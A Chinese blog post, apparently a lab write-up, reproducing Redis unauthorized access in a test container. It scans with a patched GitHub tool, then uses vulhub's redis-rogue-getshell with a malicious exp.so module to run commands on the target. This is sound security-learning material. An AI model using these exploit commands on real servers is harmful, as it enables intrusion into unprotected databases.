Redis未授权访问漏洞复现

Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

先启动容器

Redis 未设置密码,客户端工具可以直接链接

https://github.com/xk11z/unauthorized_com

这里上一个自动检测未授权漏洞的工具,中间挺多坑的,作者提供的安装步骤有问题,修改了一下

复制代码
git clone https://github.com/xk11z/unauthorized_com.git 

cd unauthorized_com

apt-get install python3-pip  

pip install -r requirements.txt 

python3 unauthorized_com.py

这里还是不能运行,需要修改几个文件

vim dic.py

这里要导入redis,可能需要下载

这里修改了一下检测代码

python3 unauthorized_com.py -i 192.168.142.151|grep redis

容器的作者还提供了一个方法

git clone https://github.com/vulhub/redis-rogue-getshell

编译

python3 redis-master.py -r 192.168.142.151 -p 6379 -L 192.168.142.151 -P 8888 -f RedisModulesSDK/exp.so -c "id"

可以看到,命令执行成功

相关推荐
有想法的py工程师1 天前
PostgreSQL 深入heap_update() 与 HOT 机制(附源码级解析)
数据库·postgresql
亚空间仓鼠1 天前
NoSQL数据库Redis(三):主从复制
redis·bootstrap·nosql
qq_342295821 天前
如何为容器内多个列表实现统一滚动条.txt
jvm·数据库·python
qq_206901391 天前
CSS如何引入自适应图标_利用svg外链配合css控制颜色
jvm·数据库·python
weixin_408717771 天前
Go语言怎么编译Linux程序_Go语言编译Linux可执行文件教程【避坑】
jvm·数据库·python
weisian1511 天前
Java并发编程--33-Redis分布式缓存三大核心架构:主从、哨兵、分片,落地实战与选型
java·redis·缓存·主从架构·哨兵架构·分片架构
APIshop1 天前
Python 爬虫获取京东商品详情 API 接口实战指南
java·服务器·数据库
XmasWu12251 天前
【Hermes Agent进阶】开发自定义技能
网络·数据库
刘~浪地球1 天前
数据库性能优化实战
数据库·性能优化